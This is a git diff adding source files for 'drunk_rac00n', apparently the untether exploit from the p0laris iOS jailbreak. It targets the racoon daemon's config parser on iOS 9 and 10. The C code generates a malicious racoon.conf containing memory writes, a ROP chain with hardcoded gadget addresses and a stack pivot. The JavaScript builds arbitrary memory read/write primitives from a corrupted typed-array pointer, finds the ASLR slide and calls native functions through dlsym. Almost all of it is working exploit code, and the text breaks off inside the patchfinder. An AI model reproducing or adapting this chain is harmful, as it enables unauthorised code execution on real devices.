+function u8x4_to_u32(buf) {
+ u32 = 0x0;
+
+ u32 += (buf[0] << 0);
+ u32 += (buf[1] << 8);
+ u32 += (buf[2] << 16);
+ u32 += (buf[3] << 24);
+
+ return u32 >>> 0;
+}
+
+/*
+ * turn a little-endian 2 byte array into a uint16_t
+ */
+function u8x2_to_u16(buf) {
+ u16 = 0x0;
+
+ u16 += (buf[0] << 0);
+ u16 += (buf[1] << 8);
+
+ return u16 >>> 0;
+
+}
diff --git a/js/main.js b/js/main.js
new file mode 100644
index 0000000..11bd185
--- /dev/null
+++ b/js/main.js
@@ -0,0 +1,71 @@
+var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+ log("we out here in jsc");
+} catch (e) {
+ /*
+ * we don't have log. :(
+ */
+
+ log = function (){};
+}
+
+function main() {
+ /*
+ * get slide and calculate slid base
+ * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+ *
+ * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+ * random byte and shifting it 12 bits, in this case the page size, 4096
+ * (0x1000) bytes), and add it to the unslid base.
+ */
+
+ slide = get_our_slide();
+ base = 0x4000 + (slide << 12);
+ slid = (slide << 12);
+ // call(0x41424344);
+
+ log("slide=0x" + slide.toString(16));
+ log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+ log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+ log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+ write_u32(0x144444, 0x69691337);
+
+ log("writing to first mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("writing to second mapped loc");
+// write_u32(0x422300, 0x41414141);
+ log("survived both writes!");
+
+ child.a = parent;
+
+ predicted_jsobject_addy = 0x422200;
+ buf = read_buf(predicted_jsobject_addy, 0x200);
+
+ log("hexdump of predicted jsobject loc:");
+ log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+ var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
+ var shc_slide = read_u32(0x1a0000 + 20 + slid);
+ write_str(0x148000, "get rekt from jsc\0");
+ write_str(0x149000, "syslog\0");
+ write_str(0x14a000, "sleep\0");
+ while (true) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3);
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3);
+ }
+/*
+ for (i = 0; i < 0x1000; i++) {
+ call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
+ }*/
+
+// call(0x9ac54 + (slide << 12));
+// write_u32(0x1013b8, 0x41414141);
+// call(0x41414141);
+
+// call(0x56ab9 + (slide << 12));
+
+ log("still alive");
+};
diff --git a/js/mem.js b/js/mem.js
new file mode 100644
index 0000000..20d5b5d
--- /dev/null
+++ b/js/mem.js
@@ -0,0 +1,147 @@
+var VECTOR_OFFSET = 0x10;
+
+/*
+ * read uint8_t
+ */
+function read_u8(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ /*
+ * `parent` is a Uint8Array of length 0x100.
+ * `child` is also a Uint8Array of length 0x100.
+ * `parent`'s `vector`, its pointer to where its data is stored, has been
+ * modified to point to the `child` object in memory.
+ * as such, accessing `parent` will allow for modifying the `child` object.
+ *
+ * the way this is used is by writing to `child`'s `vector` so it points to
+ * arbitrary memory. then, we can access `child`, and we now have arbitrary
+ * r/w
+ */
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return child[0];
+}
+
+/*
+ * read uint16_t
+ */
+function read_u16(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x2_to_u16(child);
+
+}
+
+/*
+ * read uint32_t
+ */
+function read_u32(addy) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ return u8x4_to_u32(child);
+}
+
+/*
+ * read a buffer
+ */
+function read_buf(addy, len) {
+ var buf = new Uint8Array(len);
+
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ buf[cur_addy - addy] = read_u8(cur_addy);
+ }
+
+ return buf;
+}
+
+/*
+ * write a buffer
+ */
+function write_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+ write_u8(cur_addy, buf[cur_addy - addy]);
+ }
+
+ return buf;
+}
+
+/*
+ * write uint8_t
+ */
+function write_u8(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ child[0] = what;
+}
+
+/*
+ * write uint16_t
+ */
+function write_u16(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x2 = u16_to_u8x2(what);
+ child[0] = u8x2[0];
+ child[1] = u8x2[1];
+}
+
+/*
+ * write uint32_t
+ */
+function write_u32(addy, what) {
+ u8x4 = u32_to_u8x4(addy);
+
+ parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+ parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+ parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+ parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+ u8x4 = u32_to_u8x4(what);
+ child[0] = u8x4[0];
+ child[1] = u8x4[1];
+ child[2] = u8x4[2];
+ child[3] = u8x4[3];
+}
+
+/*
+ * get process slide
+ */
+function get_our_slide() {
+ for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+ if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+ return slide;
+ }
+ }
+}
+
+function write_str(addy, s) {
+ for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+ write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+ }
+
+ return s;
+}
diff --git a/js/str.js b/js/str.js
new file mode 100644
index 0000000..4f171fc
--- /dev/null
+++ b/js/str.js
@@ -0,0 +1,105 @@
+
+
+function prim_dump_u32(buf) {
+ s = "";
+
+ for (var i = 0; i < buf.length; i += 4) {
+ tmp = [];
+
+ tmp.push(buf[i + 0]);
+ tmp.push(buf[i + 1]);
+ tmp.push(buf[i + 2]);
+ tmp.push(buf[i + 3]);
+
+ s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += ": ";
+ s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
+ if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+ s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
+ s += "\n";
+ val = read_u32(u8x4_to_u32(tmp));
+ if (val >= 0x1800000 && val < 0x1900000) {
+ buf = read_buf(val, 0x100);
+ s += (hexdump(buf, 8, 2, val, 8, "0x"));
+ }
+ }
+ s += "\n";
+ }
+
+ return s;
+}
+
+function pad_left(s, c, n) {
+ s_ = s;
+
+ if (s_.length < n) {
+ s_ = c.repeat(n - s_.length) + s_;
+ }
+
+ return s_;
+}
+
+function str_to_uint8_buf(s) {
+ buf = new Uint8Array(s.length);
+
+ for (i = 0; i < s.length; i++) {
+ buf[i] = s.charCodeAt(i);
+ }
+
+ return buf;
+}
+
+/*
+ * HOLY UGLY BATMAN!
+ */
+function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
+ s = "";
+ if (buf.constructor != Uint8Array) {
+ buf = str_to_uint8_buf(buf);
+ }
+
+ for (i = 0; i < buf.length; i += (cols * col_split)) {
+ cur_base = base + i;
+ s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
+ for (j = i; j < (i + (cols * col_split)); j += col_split) {
+ for (k = j; k < (j + col_split); k++) {
+ val = buf[k];
+ try {
+ s += pad_left(val.toString(16), "0", 2);
+ } catch (e) {
+ s += " ";
+ }
+ }
+ s += " ";
+ }
+
+ for (j = i; j < (i + (cols * col_split)); j++) {
+ val = buf[j];
+
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e; // period
+ }
+
+ chr = String.fromCharCode(val);
+ s += chr;
+ }
+
+ s += "\n";
+ }
+
+ return s;
+}
+
+/*
+ * HEX SHIT
+ */
+function prim_hexdump(buf) {
+ s = "";
+
+ for (i = 0; i < buf.length; i++) {
+ val = buf[i];
+ s += pad_left(val.toString(16), "0", 2);
+ }
+
+ return s;
+}
diff --git a/js/utils.js b/js/utils.js
new file mode 100644
index 0000000..2b9931e
--- /dev/null
+++ b/js/utils.js
@@ -0,0 +1,78 @@
+//
+// Utility functions.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+ return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+ var res = [];
+ for (var i = 0; i < bytes.length; i++)
+ res.push(hex(bytes[i]));
+
+ return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+ if (hexstr.length % 2 == 1)
+ throw new TypeError("Invalid hex string");
+
+ var bytes = new Uint8Array(hexstr.length / 2);
+ for (var i = 0; i < hexstr.length; i += 2)
+ bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
+
+ return bytes;
+}
+
+function hexdump(data) {
+ if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+ data = Array.from(data);
+
+ var lines = [];
+ for (var i = 0; i < data.length; i += 16) {
+ var chunk = data.slice(i, i+16);
+ var parts = chunk.map(hex);
+ if (parts.length > 8)
+ parts.splice(8, 0, ' ');
+ lines.push(parts.join(' '));
+ }
+
+ return lines.join('\n');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function() {
+ // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+ var buffer = new ArrayBuffer(8);
+ var byteView = new Uint8Array(buffer);
+ var uint32View = new Uint32Array(buffer);
+ var float64View = new Float64Array(buffer);
+
+ return {
+ pack: function(type, value) {
+ var view = type; // See below
+ view[0] = value;
+ return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+ },
+
+ unpack: function(type, bytes) {
+ if (bytes.length !== type.BYTES_PER_ELEMENT)
+ throw Error("Invalid bytearray");
+
+ var view = type; // See below
+ byteView.set(bytes);
+ return view[0];
+ },
+
+ // Available types.
+ int8: byteView,
+ int32: uint32View,
+ float64: float64View
+ };
+})();
diff --git a/src/common.h b/src/common.h
new file mode 100755
index 0000000..8f5a32b
--- /dev/null
+++ b/src/common.h
@@ -0,0 +1,15 @@
+#ifndef COMMON_H
+#define COMMON_H
+
+#include <stdint.h>
+#include <stdlib.h>
+
+struct racoon_offsets {
+ uint32_t dns4_offset;
+ uint32_t lc_conf_offset;
+ uint32_t stack_base;
+};
+
+extern char* fuck_memory_leaks;
+
+#endif \ No newline at end of file
diff --git a/src/ip_tools.c b/src/ip_tools.c
new file mode 100755
index 0000000..6e36b64
--- /dev/null
+++ b/src/ip_tools.c
@@ -0,0 +1,24 @@
+/*
+ * ip_tools
+ */
+
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "ip_tools.h"
+
+char* uint32_t_to_ip(uint32_t val) {
+ uint8_t byte1 = (val >> 0) & 0xff;
+ uint8_t byte2 = (val >> 8) & 0xff;
+ uint8_t byte3 = (val >> 16) & 0xff;
+ uint8_t byte4 = (val >> 24) & 0xff;
+ char* ret = NULL;
+
+ asprintf(&ret, "%u.%u.%u.%u",
+ byte1,
+ byte2,
+ byte3,
+ byte4);
+ return ret;
+} \ No newline at end of file
diff --git a/src/ip_tools.h b/src/ip_tools.h
new file mode 100755
index 0000000..a011094
--- /dev/null
+++ b/src/ip_tools.h
@@ -0,0 +1,8 @@
+#ifndef IP_TOOLS_H
+#define IP_TOOLS_H
+
+#include <stdint.h>
+
+char* uint32_t_to_ip(uint32_t val);
+
+#endif \ No newline at end of file
diff --git a/src/main.c b/src/main.c
new file mode 100644
index 0000000..b2f6d3f
--- /dev/null
+++ b/src/main.c
@@ -0,0 +1,497 @@
+/*
+ * drunk_rac00n
+ * untethered code execution on iOS 9 and 10, by exploiting the rocky racoon
+ * config file bug. then ROP the shit out of racoon, and it remains to be seen
+ * what will be done after that. UPDATE THIS COMMENT!!!
+ */
+
+#include <stdbool.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+
+
+#include "stage1_primitives.h"
+#include "stage0_primitives.h"
+#include "patchfinder.h"
+#include "stage2.h"
+#include "ip_tools.h"
+#include "common.h"
+#include "shit.h"
+
+uint32_t DNS4_OFFSET;
+uint32_t LC_CONF_OFFSET;
+
+char* fuck_memory_leaks = NULL;
+
+FILE* fp = NULL;
+
+void help(void) {
+ fprintf(stderr,
+ "usage: %s [-f /path/to/racoon] [-o /path/to/output/conf]\n",
+ getprogname());
+}
+
+void hexdump_to_stderr(void* what, size_t len, int cols, int col_split) {
+ uint8_t* new_what = (uint8_t*)what;
+ for (new_what = (uint8_t*)what; new_what < (what + len); new_what += (cols * col_split)) {
+ fprintf(stderr, "0x016%llx: ", new_what);
+ for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j += col_split) {
+ for (uint8_t* k = j; k < (j + col_split); k++) {
+ uint8_t val = *k;
+ if (new_what < (what + len)) {
+ fprintf(stderr, "%02x", val);
+ } else {
+ fprintf(stderr, " ");
+ }
+ }
+
+ fprintf(stderr, " ");
+ }
+
+ for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j++) {
+ uint8_t val = *j;
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e;
+ }
+
+ fprintf(stderr, "%c", val);
+ }
+
+ fprintf(stderr, "\n");
+ }
+}
+
+void prim_hexdump_to_stderr(void* what, size_t len) {
+ for (uint8_t* new_what = (uint8_t*)what; new_what < (what + len); new_what++) {
+ fprintf(stderr, "%02x", *new_what);
+ }
+
+ fprintf(stderr, "\n");
+}
+
+int main(int argc,
+ char* argv[]) {
+ uint8_t* buf = NULL;
+ size_t sz = -1;
+ char* bin_path = NULL;
+ char* js_path = NULL;
+ char* js_src = NULL;
+ FILE* bin = NULL;
+ FILE* js = NULL;
+ bool had_f = false;
+ bool had_j = false;
+ int c = -1;
+
+ fp = stdout;
+
+ fuck_memory_leaks = (char*)malloc(1048576);
+
+ if (argc < 2) {
+ help();
+ return -1;
+ }
+
+ while ((c = getopt(argc, argv, "hf:o:j:")) != -1) {
+ switch (c) {
+ case 'o':
+ fp = fopen(optarg, "w");
+ break;
+ case 'f':
+ bin_path = strdup(optarg);
+ had_f = true;
+ break;
+ case 'j':
+ js_path = strdup(optarg);
+ had_j = true;
+ break;
+ case 'h':
+ help();
+ return -1;
+ default:
+ help();
+ return -1;
+ }
+ }
+
+ if (!bin_path) {
+#if 0
+ fprintf(stderr,
+ had_f ? "error: failed to open racoon binary...\n"
+ : "error: racoon binary unspecified.\n");
+ return -1;
+#endif
+ bin = fopen("/usr/sbin/racoon", "rb");
+ } else {
+ bin = fopen(bin_path, "rb");
+ }
+
+ if (!had_j) {
+#if 0
+ fprintf(stderr,
+ had_j ? "error: failed to open JS code...\n"
+ : "error: JS code unspecified.\n");
+ return -1;
+#endif
+ js = fopen("lol.js", "rb");
+ } else {
+ js = fopen(js_path, "rb");
+ }
+
+ fseek(js, 0L, SEEK_END);
+ sz = ftell(js);
+ rewind(js);
+
+ js_src = (char*)malloc(sz);
+ fread(js_src, 1, sz, js);
+
+ fseek(bin, 0L, SEEK_END);
+ sz = ftell(bin);
+ rewind(bin);
+
+ buf = (uint8_t*)malloc(sz);
+ fread(buf, 1, sz, bin);
+ DNS4_OFFSET = find_dns4_offset(0, buf, sz);
+ LC_CONF_OFFSET = find_lc_conf_offset(0, buf, sz);
+ free(buf);
+
+ fprintf(stderr, "we out here\n");
+
+ fprintf(fp, "# drunk_rac00n exploit by @__spv\n");
+ fprintf(fp, "# this file is auto-generated by the p0laris untether,\n");
+ fprintf(fp, "# do not edit or delete!!!\n");
+ fprintf(fp, "# DNS4_OFFSET=0x%x\n", DNS4_OFFSET);
+ fprintf(fp, "# LC_CONF_OFFSET=0x%x\n", LC_CONF_OFFSET);
+ fprintf(fp, "# bin_path=\"%s\"\n", bin_path);
+ fprintf(fp, "# compiled on %s at %s by \"%s\", by %s in \"%s\"\n",
+ __DATE__,
+ __TIME__,
+ __VERSION__,
+ __WHOAMI__,
+ __PWD__);
+ fprintf(fp, "# - with love from spv <3\n");
+ fprintf(fp, "\n");
+
+// uint32_t stack_base = 0x1c7738; // my shell setup
+// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
+// uint32_t stack_base = 0x1c2e48; // my lldb
+ uint32_t stack_base = 0x1c7d68; // btserver env
+ uint32_t magic_trigger_addr = 0xb6074;
+
+ uint32_t mov_r0_0_bx_lr = 0x8d3e | 1;
+ uint32_t pop_r4_to_r7_pc = 0x781a | 1;
+ uint32_t mov_r0 = 0xee40 | 1;
+ uint32_t puts_addr = 0x9ac54;
+ uint32_t blx_r5 = 0x13012 | 1;
+ uint32_t malloc_addr = 0x9abdc;
+ uint32_t mov_r1_r0 = 0x72f76 | 1;
+ uint32_t nop = 0x781a | 1;
+ uint32_t printf_addr = 0x9ac30;
+ uint32_t exit_addr = 0x9a9a8;
+ uint32_t str_r0_r4 = 0x85474 | 1;
+ uint32_t ldr_r0_r0 = 0x397dc | 1;
+ uint32_t add_r0_r1 = 0x75cca | 1;
+ uint32_t pivot_addr = 0x75f18 | 1;
+ uint32_t pivot_to = 0x100000;
+ uint32_t weird_r3 = 0x75a3c | 1;
+ uint32_t other_weird_r3 = 0x8806 | 1;
+
+#if 0
+ fprintf(stderr, "PRE: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr);
+ fprintf(stderr, "PRE: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc);
+
+ mov_r0_0_bx_lr = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x70\x47\x00\x20\x70\x47", 6) + 0x4002) | 1;
+ pop_r4_to_r7_pc = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x01\xb0\xf0\xbd", 4) + 0x4002) | 1;
+ mov_r0 = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x20\x46\xf0\xbd", 4) + 0x4000) | 1;
+// puts_addr =
+
+ fprintf(stderr, "POST: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr);
+ fprintf(stderr, "POST: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc);
+#endif
+
+// fprintf(stderr, "0x%08x\n", find_printf_addr(0, buf, sz));
+// fprintf(stderr, "0x%08x\n", find_puts_addr(0, buf, sz));
+
+ uint32_t scprefcreate_lazy_offset = 0xb4140;
+ uint32_t scprefcreate_dsc_offset = 0xce2065;
+
+ uint32_t we_out_here_addr = 0x1c5000;
+ uint32_t malloc_status_addr = 0x1c5100;
+ uint32_t dyld_status_addr = 0x1c5200;
+ uint32_t dyld_status2_addr = 0x1c5300;
+ uint32_t jsc_addr = 0x1c5400;
+ uint32_t dlopen_status_addr = 0x1c5500;
+ uint32_t dyld_shc_status_addr = 0x1c5600;
+ uint32_t reserve_addr = 0x1a0000;
+ uint32_t nulls_addr = 0x5000;
+ uint32_t time_addr = 0x1c5700;
+ uint32_t arg_addr = 0x1c5800;
+
+#if 0
+ for (int blaze = 0x1c7700; blaze < 0x1c8000; blaze += 4) {
+ fprintf(fp, "%s", write32_slid(blaze, 0x41000000 | blaze));
+ }
+
+ fprintf(fp,
+ "%s",
+ write32_slid(magic_trigger_addr,
+ 0x13371337));
+
+ /*
+ * dummy statement to run inet_pton to attempt the trigger if correct
+ * slide
+ */
+ fprintf(fp,
+ "mode_cfg{"
+ "dns41.1.1.1;"
+ "}");
+
+ /*
+ * bail if the slide is wrong
+ */
+ fprintf(fp,
+ "%s\n",
+ write32_unslid(0x41414141,
+ 0x42424242));
+#endif
+
+#if 0
+// fprintf(fp,
+// "%s\n",
+// write32_unslid(0x41414141,
+// 0x42424242));
+ uint32_t guessed_slide = 0x1000;
+
+ for (uint32_t x = 0x1c7800; x < 0x1c8000; x += 4) {
+ fprintf(fp, "%s", write32_unslid(x + guessed_slide, 0x41000000 | x));
+ }
+
+ /*
+ * trigger if right slide
+ *
+ * this trigger is kinda magic to me, basically it's writing to some
+ * error or status variable that the YACC/bison internal shit uses or
+ * something, and writing some different val makes it think there was
+ * and error or some shit, idk
+ */
+ fprintf(fp,
+ "%s",
+ write32_unslid(guessed_slide + magic_trigger_addr,
+ 0x13371337));
+
+ /*
+ * dummy statement to run inet_pton to attempt the trigger if correct
+ * slide
+ */
+ fprintf(fp,
+ "mode_cfg{"
+ "dns41.1.1.1;"
+ "}");
+
+ /*
+ * bail if the slide is wrong
+ */
+ fprintf(fp,
+ "%s\n",
+ write32_unslid(0x41414141,
+ 0x42424242));
+#endif
+
+ for (int slide = 0x1; slide <= 0x3; slide++) {
+ uint32_t base = slide << 12;
+ uint32_t slid_stack = stack_base + base;
+
+ char* we_out_here_str = NULL;
+ asprintf(&we_out_here_str,
+ "[*] drunk_rac00n exploit by spv. aslr_slide=0x%x\n"
+ "[*] ROP 'til you die motherfuckers.",
+ slide);
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + we_out_here_addr,
+ we_out_here_str,
+ strlen(we_out_here_str) + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + malloc_status_addr,
+ "[*] malloc(...)\t\t\t= %p\n",
+ strlen("[*] malloc(...)\t\t\t= %p\n") + 1));
+
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dyld_status_addr,
+ "[*] dyld_base\t\t\t= %p\n",
+ strlen("[*] dyld_base\t\t\t= %p\n") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dyld_status2_addr,
+ "[*] *(uint32_t*)dyld_base\t= %p\n",
+ strlen("[*] *(uint32_t*)dyld_base\t= %p\n") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + jsc_addr,
+ "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore",
+ strlen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dlopen_status_addr,
+ "[*] dlopen(JavaScriptCore)\t= %p\n",
+ strlen("[*] dlopen(JavaScriptCore)\t= %p\n") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dyld_shc_status_addr,
+ "[*] dyld_shared_cache base\t= %p\n",
+ strlen("[*] dyld_shared_cache base\t= %p\n") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + time_addr,
+ "[*] time\t\t\t= %d\n",
+ strlen("[*] time\t\t\t= %d\n") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + arg_addr,
+ "/untether/p0laris",
+ strlen("/untether/p0laris") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(0x108000,
+ "var parent = new Uint8Array(0x100);"
+ "var child = new Uint8Array(0x100);"
+ ""
+ "function shitalloc() {"
+ " var fuck = new Array();"
+ " for (var i = 0; i < 0x800000; i++) {"
+ " fuck[i] = i;"
+ " }"
+ " delete fuck;"
+ "}"
+ ""
+ "shitalloc();",
+ strlen("var parent = new Uint8Array(0x100);"
+ "var child = new Uint8Array(0x100);") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(0x10a000,
+ js_src,
+ strlen(js_src) + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(0x109000,
+ "still alive\n",
+ strlen("still alive\n") + 1));
+
+
+ rop_chain_shit chain_b0i = gen_rop_chain(base,
+ we_out_here_addr,
+ mov_r0,
+ puts_addr,
+ blx_r5,
+ nulls_addr,
+ malloc_addr,
+ mov_r1_r0,
+ nop,
+ malloc_status_addr,
+ printf_addr,
+ exit_addr,
+ str_r0_r4,
+ reserve_addr,
+ ldr_r0_r0,
+ add_r0_r1,
+ pivot_to + 0x10,
+ dyld_shc_status_addr,
+ scprefcreate_dsc_offset,
+ scprefcreate_lazy_offset,
+ weird_r3,
+ other_weird_r3);
+
+// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len);
+
+ fprintf(fp,
+ "\n\n# rop_chain length %d bytes (0x%x bytes hex), ASLR slide=0x%x, slid_base=0x%x\n",
+ chain_b0i->chain_len,
+ chain_b0i->chain_len,
+ (slide),
+ (slide << 12) + 0x4000);
+
+#if 0
+ for (int val = 0; val < (chain_b0i->chain_len / 4); val++) {
+ fprintf(fp,
+ "%s",
+ write32_unslid(slid_stack + (val * 4),
+ chain_b0i->teh_chain[val]));
+ }
+#endif
+
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x0, pivot_to));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x4, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x8, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0xc, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x10, base + pivot_addr));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0x0, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0x4, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0x8, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0xc, base + nop));
+
+ /*
+ * use writebuf_unslid as it uses like 1/6th of the statements
+ */
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(pivot_to + 0x10,
+ (char*)chain_b0i->teh_chain,
+ chain_b0i->chain_len));
+
+// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len);
+
+ /*
+ * trigger if right slide
+ *
+ * this trigger is kinda magic to me, basically it's writing to some
+ * error or status variable that the YACC/bison internal shit uses or
+ * something, and writing some different val makes it think there was
+ * and error or some shit, idk
+ */
+ fprintf(fp,
+ "%s",
+ write32_unslid(base + magic_trigger_addr,
+ 0x13371337));
+
+ /*
+ * dummy statement to run inet_pton to attempt the trigger if correct
+ * slide
+ */
+ fprintf(fp,
+ "mode_cfg{"
+ "dns41.1.1.1;"
+ "}");
+
+ /*
+ * we don't need no memory leaks round these parts
+ */
+ free(chain_b0i->teh_chain);
+ }
+
+ /*
+ * bail if the slide is wrong
+ */
+ fprintf(fp,
+ "%s\n",
+ write32_unslid(0x41414141,
+ 0x42424242));
+
+ free(js_src);
+ free(fuck_memory_leaks);
+
+// getc(stdin);
+
+ return 0;
+}
diff --git a/src/patchfinder.c b/src/patchfinder.c
new file mode 100644
index 0000000..7464d70
--- /dev/null
+++ b/src/patchfinder.c
@@ -0,0 +1,805 @@
+/*
+ * fucking shit patchfinder that does garbage patchfinding for this shit fuck
+ * exploit
+ */
+
+#include <mach/vm_types.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/fat.h>
+#include <sys/mman.h>
+#include <stdint.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <stdio.h>
+
+#include "patchfinder.h"
+#include "common.h"
+
+static uint32_t bit_range(uint32_t x, int start, int end) {
+ x = (x << (31 - start)) >> (31 - start);
+ x = (x >> end);
+ return x;
+}
+
+static uint32_t ror(uint32_t x, int places) {
+ return (x >> places) | (x << (32 - places));
+}
+
+static int thumb_expand_imm_c(uint16_t imm12) {
+ if (bit_range(imm12, 11, 10) == 0) {
+ switch (bit_range(imm12, 9, 8)) {
+ case 0:
+ return bit_range(imm12, 7, 0);
+ case 1:
+ return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0);
+ case 2:
+ return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8);
+ case 3:
+ return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0);
+ default:
+ return 0;
+ }
+ } else {
+ uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0);
+ return ror(unrotated_value, bit_range(imm12, 11, 7));
+ }
+}
+
+static int insn_is_32bit(uint16_t* i) {
+ return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0;
+}
+
+static int insn_is_bl(uint16_t* i) {
+ if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000)
+ return 1;
+ else if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000)
+ return 1;
+ else
+ return 0;
+}
+
+static uint32_t insn_bl_imm32(uint16_t* i) {
+ uint16_t insn0 = *i;
